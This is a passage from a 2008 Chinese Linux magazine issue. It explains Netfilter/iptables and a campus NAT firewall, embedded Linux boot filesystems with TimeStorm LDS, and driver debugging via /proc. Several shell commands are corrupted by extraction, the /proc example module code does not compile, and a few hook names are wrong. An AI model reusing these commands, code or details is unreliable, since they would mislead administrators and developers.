1、NF_IP_PRE_ROUTING;


oss.linuxpk.com
源 2008 年第 12 期 102
企业应用
2、NF_IP_LOCAL_IN;

3、NF_IP_FORWARD;

4、NF_IP_POST_ROUTING;

5、NF_IP_LOCAL_OUT。

数据包从左边进入系统。进行 IP 校验以后,经过第一个钩子函数 NF_IP_PRE_ROUTING 进行处理,


然后就进入路由代码。路由代码决定该数据包是需要转发还是发给本机的。若该数据包是发给本机的,
则该数据经过钩子函数 NF_IP_LOCAL_IN 处理以后再传递给上层协议;若该数据包应该被转发则它被
NF_IP_POST_FORWARD 处理;经过转发的数据包经过最后一个钩子函数 NF_IP_POST_ROUTING 处理
后,再传输到网络上。

本 地 产 生 的 数 据 经 过 钩 子 函 数 NF_IP_LOCAL_OUT 处 理 以 后 。 进 行 路 由 选 择 处 理 , 然 后 经 过
NF_IP_POST_ROUTING 处理,再发送到网络上。内核模块可以对一个或多个这样的钩子函数进行注册
挂接,并且在数据包经过时,调用这些钩子函数,从而模块可以修改数据包,并向 Netfilter 返回如下
值:

NF_ ACCEPT 继续正常传输数据包;

NF_DROP 丢弃该数据包,不再传输;

NF_STOLEN 模块接管该数据包,不要继续传输该数据包;

NF_QUEUE 对该数据包进行排队(通常用于将数据包传给用户空间进程处理);

NF_REPEAT 再次调用该钩子函数。

IPtables 原理

IPtables 是 一 个 基 于 NETfiiter 框 架 的 防 火 墙 工 具 , Linux2.4 内 核 中 开 始 被 应 用 。 它 是


ipchains 的后继工具,但却有更强的可扩展性。iptables 作为 Linux 内核防火墙 nefilter 的用户
管理工具,用于对模块添加、移动或者编辑规则。这些规则通过 netfilter 框架及其相关模块发生作用,
现已正式发布了 1.3 版本。

1、ipchains 的缺陷

Linux2.2 版内核防火墙 ipchains 提供了基本的防火墙功能(如包过滤、地址伪装、透明代理等),


得到广泛的应用。但是,ipchains 也存在如下问题。

(1)、ipchains 处理数据包的方式复杂(如 IP 伪装和 NAT)。NAT 和 ipchains 是作为 2 个独立的


Linux 项目各自开发的,后来才结合在一起使用,二者配合使用比较复杂。

(2)、输入链描述整个进入 lP 层的规则,它不区分数据包是以该主机为目的地还是通过该主机中转,


oss.linuxpk.com
源 2008 年第 12 期 103
企业应用
混淆了 input 链和 forward 链。forward 链只负责处理中转的数据包,但它总跟在 input 链的后面。
要区别进入的数据包和中转的数据包,就必须编写复杂的规则,效率就会下降。 forward 链和 output
链之间也存在同样的问题。

(3)、ipchains 没有提供传递数据包到用户空间的接口,任何对数据包进行处理的代码都必须在内
核空间运行,而内核编程复杂,对内核的稳定性构成威胁。

(4)、透明代理实现复杂,必须查看每个数据包判断是否有专门处理该地址的 Socket。

(5)、ipchains 没有采用开放型结构,用户不能直接扩展 ipchains 的功能。

为 了 解 决 这 些 问 题 , 用 户 需 要 一 个 开 放 的 、 扩 展 性 好 的 内 核 防 火 墙 。 Linux2.4 版 提 供 了
netfilter 内核防火墙,它采用更完善的框架结构,具有许多新功能,如完整的动态 NAT、基于用户和
MAC 地址的过滤、真正基于状态的过滤等。netfilter 还实现了扩展过滤规则而不必修改内核。

2、Iptables

Iptables 提供了三种策略规则表:filter、nat 和 mangle。这三种表功能各不相同,不同规则


表中的规则链也各不相同。在 filter 表中包含了三个规则链:INPUT、OUTPUT 和 FORWARD 链;在
nat 和 mangle 表 中 除 了 上 述 几 种 链 , 还 包 含 PREROUTING 和 P0STR0UTING 链 。 其 中 INPUT 和
OUTPUT 链仅应用于要进入和离开的数据包,FORWARD 链只处理任何需要转发的数据包。下面对这三种
策略规则表进行详细介绍。

filter 表用于过滤数据包。它在 NF_IP_LOCAL_IN、NF_IP_F0RWARD 及 NF_IP_LOCAL_OUT 钩


子点由钩子函数接入 Netfilter 框架。因此对于任何一个数据报只有一个地方对其进行过滤。 filter
内建三个链:INPUT、OUTPUT 和 FORWARD。可以对数据包进行 ACCEPT、REJECT、DROP 和 LOG 等操
作。INPUT 针对那些目的地是本地的包,OUTPUT 用于过滤所有本地生成的包。而 FORWARD 链过滤所有
不是本地产生的并且目的地不是本地的包。流程图如图 2 所示。

图 2 数据包在 filter 表中穿越的流程图

nat 表 用 于 网 络 地 址 转 换 。 它 在 NF_IP_PRE_ROUTING 、 NF_lP_P0ST_ROUTING 及


NF_IP_LOCAL_OUT 钩子点通过钩子函数接入 Netfilter 框架。在 NF_IP_PRE_ROUTING 点实现对需
要转发的数据报的源地址进行地址转换,而在 NF_IP_POST_ROUTING 点则对需要转发的数据包的目的
地址进行地址转换。对于本地数据报的目的地址的转换则由 NF_IP_LOCAL_OUT 点的钩子来实现。nat
表格不同于 filter 表格,只有新连接的第一个数据报将遍历表格,而随后的数据报将根据第一个数据报


oss.linuxpk.com
源 2008 年第 12 期 104
企业应用
的结果进行同样的转换处理,也就是说,余下的包不会再通过这个表一个一个的被 nat,而是自动地完
成。nat 表包括 DNAT、SNAT 和 MASQUERADE 三条链。DNAT 操作主要用于目的地址转换,以使包能重
路由到某个 IP 地址的主机上。SNAT 用于包的源地址转换,这可以在极大程度上隐藏本地网络或者 DMZ
等。MASQUERADE 的作用和 SNAT 完全一样,只是计算机的负荷稍微多一点,因为对每个匹配的包 ,
MASQUERADE 都要查找可用的 IP 地址,而不象 SNAT 用的 IP 地址是配置好的。如果使用 PPOE 等拨号
方式连接 Internet,MASQUERADE 是个很好的解决方案。

mangle 表用于修改数据包。通过 NF_IP_PRE_ROUTING 和 NF_IP_LOCAL_OUT 钩子点进行注册。


我们可以利用它来改变包的包头内容,比如 TOS、TTL 或 MARK。通过 T0S 可以对不同类型数据包加以区
分,从而在流量较高的网络上减少网络拥塞。MARK 并没有真正地改动数据包,它只是在内核空间为包设
了 一 个 标 记 。 mangle 表 有 五 个 内 建 的 链 : PREROUTING 、 POSTROUT1NG 、 OUTPUT 、 INPUT 和
FORWARD。PREROUTING 在包进入防火墙之后、路由判断之前改变包, P0STR0UTING 是在所有路由判
断之后,OUTPUT 在确定包的目的之前更改数据包。INPUT 在包被路由到本地之后,但在用户空间的程
序看到它之前改变包。FORWARD 在最初的路由判断之后、最后一次更改包的目的之前 Mangle 包。
mangle 表不能做任何 nat,它只是改变数据包的 TOS、TTL 或 MARK,而不是其源地址或目的地址。

二、防火墙在校园网中的应用
当前,很多学校都对网络进行了不同程度的升级改造,例如由原来的 100Base.T 升级为目前的
1000Base.T , 学 生 宿 舍 、 新 教 学 楼 都 进 行 了 综 合 布 线 , 新 增 信 息 结 点 , 可 以 访 问 校 园 内 部 的
Intranet 和通过校园网进入 Internet。随着校园网网络规模的增大,地址资源紧张,网络安全成为
急需解决的问题。考虑到价格、实用性和灵活性等各方面的因素,采用 Redhat 构造了校园网包过滤防
火墙,实现了 IP 伪装(NAT)、限制对外部地址的访问等功能。

1、防火墙工作环境
(1)、在服务器上安装两个网卡,分别接入 Internet 和内部网。其中一块网卡 IP 地址为:
202.120.115.5 , 网 关 地 址 为 : 202.120.115.1( 路 由 器 IP) ; 另 一 块 网 卡 IP 地 址 为 :
192.168.4.2,网关地址为:192.168.4.1(核心交换机 IP)。

(2)、操作系统:Redhat Liunx。

启动服务:iptables,httpd,samba 等。

2、配置防火墙系统
(1)、在/etc/rc.d/rc.local 中做如下改变:


oss.linuxpk.com
源 2008 年第 12 期 105
企业应用
#!/bin/sh
#This script will be executed after all the other init scripts.
#You can put your own initialization stuff in here if you don’t.
#want to do the full Sys V style init stuff.
/sbin/route add -net 192.168.0.0 gw 192.168.4.1 netmask 255.255.0.0

增加到内部网的静态路由

echo l>/proc/sys/net/ipv4/ip?_forward

#打开 IP 包转发

/sbin/modlzlrobe ip_conntrack_ftp
/sbin/modprobe ip_nat_ftp

#加载 NAT 需要用到的 ftp 支持模块

touch/var/lock/subsys/local

(2)、在/etc/rc.d 中建立了 3 个控制脚本,限制内部网络用户对外部地址的访问。

student.sh:地址范围从 192.168.8.0 到 192.168.15.255 的 IP 地址,规划为学生宿舍使用


网段,目前暂时只限访问本校园网。
/bin/sh/sbin/iptables-t nat-A POSTROUTING-S 192.168.8.0/255.255.248.0-d
202.120.192.0/255.255.240.0-j MASQUER-ADE

Teacher.sh:地址范围从 192.168.20.0 到 192.168.40.255 的 IP 地址,规划为部分需要访


问限制的教学、办公网络,规定可以访问 Cemet 所定义的免费 IP 地址。如:/sbin/iptables-t
nat-A POSTROUTING-S 192.168.20.0/255.255.248.0-d
24.244.192.0/255.255.240.0-j MASQUE-RADE

以上一条条包过滤规则,规定地址范围从 192.168.20.0 到 192.168.40.255 的计算机,可以访


问 24.24.192.0/255.255.240.0 地址段的网络。其它 Cemet 所定义的免费地址段的过滤规则书写格
式同上。

Reloadfirewall.sh:为控制重新启动 NAT 模块,当改变 IP 地址范围时,执行这个脚本使得配


置立即生效。这只是 netfilter 配置防火墙的一个基本的简单应用。有关 netfilter 的更复杂的应用
有待读者进一步实践。

三、结束语
Linux 2.4 内核中内置的 Netfilter/Iptables 系统与旧内核中的防火墙系统(Ipchain 等)相
比,体系结构更为清晰、功能更为强大、使用更为方便。用 Linux 新的内核 netfilter 来实现内部局
域 网 和 Internet 之 间 的 防 火 墙 , 无 疑 是 一 种 简 单 快 捷 、 经 济 高 效 的 方 法 。 只 要 掌 握 Linux 的
netfilter 和其它相关技术,完全可以配置出一台功能强大、安全的防火墙。


oss.linuxpk.com
源 2008 年第 12 期 106
嵌入式

TimeStorm LDS 控制嵌入式 Linux


丁勇
Linux 系统的高性能和灵活性的一个重要体现在于,它是一个真正的多任务操作系统,而不仅仅是
一个只与某一应用软件相联系的、复杂的软件启动器。这一点使得嵌入式 Linux 系统能灵活地适应各种
环境,并做出适当的反应。本文介绍如何使用 TimeSys 公司的 Linux Development Suite(LDS)图
形化工具,使得嵌入式 Linux 系统的建立过程更简单。

四、文件系统及 Linux 系统启动过程


当嵌入式 Linux 系统启动时,需要通过某一组件对内核进行加载,并且该嵌入式系统的启动监视程
序可以对这一组件进行访问。内核加载后,可以自动搜索、识别并初始化系统中的所有硬件,然后寻找
一个可以访问、加载并运行应用软件的初始文件系统,从而继续启动的过程。 Linux 系统在启动过程中
首先加载的文件系统被称为引导文件系统,它可以自动加载到 Linux 系统的“/”目录下,是各级 Linux
文件系统的基础。加载完毕后,引导文件系统可为 Linux 系统提供一个基础的目录框架,它可以将各种
硬件映射到 Linux 硬件节点上,进而对这些硬件进行访问、定位和加载,并执行后续代码。

Linux 系统所支持的文件系统数量比其它任何操作系统都多,就 Linux 系统的启动过程而言,这些


文件系统可以简单地分成 3 类:

◆ 本机文件系统;

◆ 使用标准协议(比如,NFS 等)的网络文件系统;

◆ 位于特殊存储设备(比如,初始 RAM 盘等)中的文件系统。

嵌入式 Linux 系统支持的引导文件系统类型由系统内核决定。

建立文件系统

引导文件系统,诸如 Journaling Flash File System2 (JFFS2),常常与 Flash 存储器一起


用于系统中。Flash 存储器中可以包含启动监视程序、可加载内核镜像和一个 JFFS2 文件系统。

网络文件系统,由于它可以提供更大的存储空间,并可以更安全地保存调试信息和其它的系统状态
信息,因此也常常在嵌入式 Linux 系统中被用做引导文件系统。

无论是何种引导文件系统,在使用传统方法对其进行手动建立时,都需要用户掌握一定的 Linux 系
统专业知识,必须对建立文件系统所需的命令十分熟悉。比如,要建立一个初始 RAM 盘,必须首先建立
一个空文件,并与一个 Linux 设备建立关联;然后,建立文件系统,将该文件作为一个特殊类型的虚拟


oss.linuxpk.com
源 2008 年第 12 期 107
嵌入式
设备进行加载。根据系统访问硬件方法的不同,还必须了解建立硬件节点所需要的 Linux 命令,以及它
们的命名规则。同时,还必须知道 Linux 引导文件系统的组织机制。这使得普通用户手动建立引导文件
系统十分困难。

但 是 , 如 果 使 用 一 些 图 形 化 的 嵌 入 式 开 发 工 具 , 比 如 , TimeSys 公 司 的 Integrated
Development Environment(IDE)和 Linux Development Suite(LDS),建立文件系统就简单得
多了。图 1 显示的是 TimeStorm LDS 的 RFS Image 选项,用户可以利用它来指定所要建立的文件系
统类型。

图1
使用 TimeStorm LDS 建立引导文件系统十分简单,只要选择包含的指令包,定义特殊的指令含义 ,
并单击一下按键即可。

五、控制 Linux 系统的启动过程


oss.linuxpk.com
源 2008 年第 12 期 108
嵌入式
所有 Linux 系统的启动过程基本相同,大都是先执行内核的加载,然后执行 Linux 系统中一个被称
为初始进程的应用程序,它一般位于/sbin/init 目录下。初始进程是系统的 1 号进程,是所有其它进
程的基础,用户可以通过 ps 命令查看系统进程的工作状态。初始进程通过读取/etc/inittab 文件来
确定系统启动的方法,并列出需要启动的所有其它进程和程序。

当 Linux 系统使用初始 RAM 盘进行启动时,和上述的过程有所不同:系统启动不是首先进行内核的


加载,而是先对初始 RAM 盘进行解压并加载,然后执行/linuxrc 文件,再接下来才是对系统内核的加
载,以及后续工作的执行。

无论引导文件系统是一个初始 RAM 盘,还是本地存储器或网络引导文件系统,文件系统必须能够提


供系统启动过程中需加载的内核模块、系统执行的所有 Linux 命令、用户运行的所有自定义应用软件和
所有外部设备的接口。另外,它还需要提供系统需要的所有 Linux 架构,以便执行这些应用软件。这就
要求用户要了解系统启动过程中必须执行的应用程序,以便确保它们存在于引导文件系统中。利用
TimeStorm LDS,用户可以很容易地找出引导文件系统中必须包含的组件。

六、选择相关软件包
Linux 应用软件通常包含在一个由多个相关软件组成的软件包中,比如,Linux 2.6 内核系统中的
module-init-tools 软件包,它包含多种应用程序,这些应用程序可以对可加载内核模块进行插入、
删除和排序操作,像/sbin/depmod、/sbin/rmmod 和/sbin/insmod 等。

同样,通过网络登陆 Linux 系统时,系统必须运行一个服务器程序,比如,telnet 或 SSH 等,以


便接收远端请求。这些服务器程序一般存储在 telnet-server 和 openssh-server 软件包内。同时,
系统还必须对各类登录进程进行初始化,然后再执行登录 Shell (通常是 bash)和其它登陆过程所需的
命令。

为了使强制性软件包发挥效能,大多数 Linux 系统都包含多套软件包,它们事先都已针对目标硬件


进行了编译,在建立引导文件系统时,用户可以选择自己需要的软件包。图 2 显示的是 TimeStorm
LDS 的软件包选择窗口,用户可以从安装在引导文件系统中的软件包列表中进行选择。


oss.linuxpk.com
源 2008 年第 12 期 109
嵌入式

图2
通过 TimeStorm LDS,还可以确定不同软件包中应用软件之间的相互关系。

七、选择相关程序库
许多嵌入式 Linux 系统中的应用程序都是使用共享程序库进行编译的。Linux 系统的优势之一便是
它可提供一个良好的程序编译、执行环境。用户可以使用数以千计的程序库对应用程序进行预先编译,
从而最大限度地减少重复的次数。

相关分析就是要分析标准 Linux 服务所需的命令层级结构、位于不同 Linux 软件包中的命令之间的


关系,以及不同命令所需的共享程序库。相关分析对于所有的 Linux 系统都十分重要,它可以确保系统
所需的服务和命令正常运行。尤其是在嵌入式 Linux 系统中,由于系统的资源有限,所以在不牺牲性能
的情况下,引导文件系统越小越好,在此情况下,相关分析显得尤为重要。

Linux 系统提供了多种专业的命令行工具,帮助用户了解软件包的关系,并进行相关分析,但它们


oss.linuxpk.com
源 2008 年第 12 期 110
嵌入式
都使用不同的语法,并需要特殊的专业知识。而 TimeStorm LDS 作为一个图形化工具也可以实现上述
功能,用户只要选择适当的选单命令就行了。

图 3 是 TimeStorm LDS 的程序库窗口,图中显示了 e2fsprogs 软件包所提供的和所需要的程序


包,以及相关文件信息(e2fsprogs 是用来建立并维护 ext2 和 ext3 文件系统的工具包)。

八、小结
尽管对于 Linux 系统的启动过程、各种文件系统间的交互作用、各种命令的执行顺序、不同命令及
文件之间的从属关系,以及程序库的分析研究是十分复杂的,但是, TimeStorm LDS 可为尚未掌握专
业知识的广大用户带来巨大的便利。TimeStorm LDS 不但可以简化各类文件系统的建立过程,还可以
很容易地将应用软件添加到引导文件系统中。


oss.linuxpk.com
源 2008 年第 12 期 111
嵌入式

善用 proc 文件系统加快嵌入设备驱动调试
吴宏星
笔者曾为一种使用 Linux 系统的嵌入式手持设备开发了 MIDI 芯片的驱动程序。在开发过程中,通
过利用/proc 文件系统,极大地方便了程序的调试。下面就将调试的方法共享出来。

字符设备驱动程序

Linux 下的设备分为字符设备、块设备和网络设备三种类型。对于字符设备,比如, Console、串


口和打印机等,只能以字节流的方式进行访问。在 Linux 下开发字符设备驱动,至少要实现 Open、
Close、Read 和 Write 等系统调用。Open 系统调用用来打开设备节点,为设备申请必要的内核资源,
比如,DMA 通道和 IRQ 中断等。而 Close 执行与 Open 相反的动作,它用来释放 Open 申请的资源。从
设备节点打开之后,直到被关闭之前,可以使用 Read 和 Write 系统调用对设备进行读、写访问与控制。
这些系统调用的实现与具体设备相关,需要参考相应的设备开发说明。

设备驱动程序是 Linux 内核的重要组成部分,一般以模块的方式出现。因此,只有将驱动注册到内


核,它所提供的这些操作才能为其它程序所用。Linux 内核提供了 register_chrdev()函数,用以将
设备驱动程序的相关信息注册到内核维护的字符设备信息表中,该函数定义如下:

int register_chrdev(unsigned int major, const char *name,


struct file_operations *fops);

其中各参数的含义分别如下:

◆major 代表字符设备的主设备号,在内核中,主设备号用于区分不同的字符设备;

◆name 表示字符设备的名称,驱动程序成功加载后,设备名会出现在/proc/devices 文件中,所


以可以通过查看该文件确定驱动程序是否加载成功;

◆fops 记录了对设备进行实际访问时的操作函数指针,比如,上面提到的 Open、Close、Read 和


Write 等。

驱动程序注册完成后,内核使用主设备号将实际的字符设备和对该设备的操作函数联系到一起。

为了让其它应用可以使用设备驱动程序,必须在/dev 目录下创建相应的设备节点。下面的命令将创
建字符设备节点/dev/mychar,其主设备号和次设备号分别是 249 和 0:

% mknod /dev/mychar c 249 0

如 果 mknod 创 建 的 主 设 备 号 与 register_chrdev() 注 册 时 的 相 同 , 那 么 应 用 程 序
对/dev/mychar 设备节点的 Open、Close、Read 和 Write 操作的实现最终会调用设备驱动程序的相


oss.linuxpk.com
源 2008 年第 12 期 112
嵌入式
应函数。关于 mknod 的详细信息,请参看 Linux 的在线帮助。

/proc 文件系统

在 Linux 操作系统中,/proc 文件系统比较特殊,它是一个虚拟文件系统,只存在与系统内存中。


最初设计/proc 文件系统的目的是提供一种对进程信息进行访问的便利机制,/proc 文件系统也因此而
得名。在 Linux 的 Shell 下运行 mount 命令,可能出现以下信息:

/dev/hdb2 on / type ext3 (rw)


none on /proc type proc (rw)
usbdevfs on /proc/bus/usb type usbdevfs (rw)
/dev/hdb1 on /boot type ext3 (rw)
.........

第二行显示的就是/proc 文件系统的信息,其中,“none”表明该文件系统不依赖于任何一个硬件
设备。

内 核 中 的 每 一 部 分 都 可 以 向 /proc 进 行 注 册 , 以 方 便 其 它 进 程 查 看 其 相 关 信 息 , 比 如 ,
/proc/modules 记录了模块的列表、/proc/meminfo 记录了内存使用的统计表等。通过 /proc 文件
系统不但可以查看系统信息,还可以修改内核参数,改变内核的运行状态,/proc/sys 目录中存放着所
有可读写的文件和目录,但是,要慎重改动这些文件。

如果 Linux 系统还没有加载/proc 文件系统,可以通过如下命令进行加载:

% mount -t proc proc /proc

驱动程序调试

下面将利用/proc 文件系统可读写的特性,讨论如何使用/proc 文件系统调试设备驱动程序。

1.利用/proc/sys/kernel/printk 文件

调试 Linux 内核最简单、常用的方法就是打印信息,在内核中使用 printk()函数可以将调试信息


打 印 出 来 。 printk() 支 持 0 ~ 7 共 8 种 输 出 级 别 , 只 有 printk() 的 输 出 级 别 小 于
console_loglevel 时,调试信息才会显示在 Console 上。

在设备驱动程序开发的不同阶段,需要打印的信息级别也是不同的,比如,开发初期可能需要打印
所有级别的调试信息,而在后期只有十分重要的信息才被允许打印出来。虽然可以通过修改程序中的代
码来满足这种要求,但是,这种方法不但费时,而且每次修改后都要重新加载驱动程序才能继续调试。
其实,在驱动程序加载后,通过/proc/sys/kernel/printk 文件(2.1.31 版本及以上),可以方便
地修改调试信息的输出级别。通过以下命令修改/proc/sys/kernel/printk 文件:

% echo 8 >/proc/sys/kernel/printk


oss.linuxpk.com
源 2008 年第 12 期 113
嵌入式
修改完后,printk()输出的所有信息都会在 Console 上显示出来。

/proc/sys/kernel/printk 文件必须与代码中的 prink()结合起来使用,而且只能用于被动地


显示信息。但是,在开发驱动程序的过程中,有时候不仅需要动态地获得驱动程序运行过程中的相关信
息,而且需要动态地修改驱动程序的配置参数,以检验设备在不同配置下的运行情况。这就需要
在/proc 文件系统中添加设备对应的文件来解决此问题。

2.在/proc 中添加文件节点

设备驱动程序可以在/proc 文件系统中创建自己的文件节点,这样能够方便其它进程访问设备的相
关信息,以及修改设备运行的参数等。

Linux 内核提供了一些函数,用于在/proc 文件系统中创建文件和目录。这里利用一个例子说明如


何在/proc 文件系统中对自己的文件进行读、写访问,下面给出与/proc 文件系统相关的框架代码:

#include <linux/module.h>
#include <linux/kernel.h>
#include <llinux/init.h>
#include <linux/proc_fs.h>
#include <linux/sched.h>
#include <asm/uaccess.h>
#define MODULE_NAME "mytest"
static MyFlag = 0;
// when user reads /proc/myread, this function will be
// called
static int mytest_proc_read(char *page, char **start,

off_t off, int count,

int *eof, void *data)


{

int len;
MOD_INC_USE_COUNT;
len = sprintf(page, "module name is %s\n", MODULE_NAME);
MOD_DEC_USE_COUNT;
return len;
}

static int mytest_proc_write(struct file *file,

const char *buffer,


oss.linuxpk.com
源 2008 年第 12 期 114
嵌入式
unsigned long count,

void *data)
{
int len;

len = (sizeof(MyFlag)>count) ? count: sizeof(MyFlag);


if(copy_from_user(&MyFlag, buffer, len))
{
return -EFAULT;
}
return 0;

// create a file named myread and /proc/mywrite in /proc directory


static mytest_create_myproc(void)
{
struct proc_dir_entry *my_proc_write ,my_proc_read;
my_proc_read = create_proc_read_entry("myread",

0444, NULL,

mytest_proc_read,NULL);

if(my_proc_read == NULL)
{
return -ENOMEM;
}
my_proc->owner = THIS_MODULE;

my_proc_write = create_proc_entry("mywrite", 0644, NULL);

my_proc_write->write_proc = mytest_proc_write;

my_proc_write->owner = THIS_MODULE;

return 0;


oss.linuxpk.com
源 2008 年第 12 期 115
嵌入式
static int __init init_mytest(void)
{
if(mytest_create_myproc() != 0)
{
return -EFAULT;
}

......

return 0;
}

static void __exit cleanup_mytest(void)


{
remove_proc_entry("myproc", NULL);
......
}
module_init(init_mytest);
module_exit(cleanup_mytest);

在上面的例子中,读取/proc/myread 文件,将返回设备的名字;而修改/proc/mywrite 文件,


可以改变 MyFlag 的值。驱动程序会根据 MyFlag 值的不同,执行不同的操作。比如,在笔者为一种手
持设备(智能手机)的 MIDI 芯片开发的驱动程序中,就分别在/proc 文件系统中创建了多个文件,其
中一个用于实时读取 MIDI 设备当前寄存器中的配置信息,其它几个文件用来修改 MIDI 芯片不同的配置
参数,比如,增益参数、放大器倍速、合成器参数和编解码频率等。

通过上面的介绍可知,使用/proc 文件系统,大大缩短了设备驱动程序的开发调试时间。


oss.linuxpk.com
源 2008 年第 12 期 116
编读往来

Linuxpk.com 十一月十大热门帖

开源技术选型手册--精选版
http://bbs.linuxpk.com/thread-35939-1-1.html

一些 linux 服务器的安装
http://bbs.linuxpk.com/thread-36190-1-1.html

发布一个软件 PLaunch, 快捷方式管理工具


http://bbs.linuxpk.com/thread-36398-1-1.html

红旗无线网卡配置完成,与大家分享
http://bbs.linuxpk.com/thread-36107-1-1.html

"懒惰"Linux:"懒惰"集群管理员的 11 个秘诀
http://bbs.linuxpk.com/thread-36233-1-1.html

仿百度知道的问答系统~ ...
http://bbs.linuxpk.com/thread-36401-1-1.html

Jboss 集群指南
http://bbs.linuxpk.com/thread-36136-1-1.html

qt 菜鸟,初来乍到的先给献上昨天的一份 qt 笔记,以后还请各位大大多指教
http://bbs.linuxpk.com/thread-36309-1-1.html

Python 八荣八耻
http://bbs.linuxpk.com/thread-36259-1-1.html

转换 mysql 3 中的数据库到高版本 mysql 服务器中,且由 latin1 转换为 gbk


http://bbs.linuxpk.com/thread-36299-1-1.html


oss.linuxpk.com 源 2008 年第 12 期 117
封底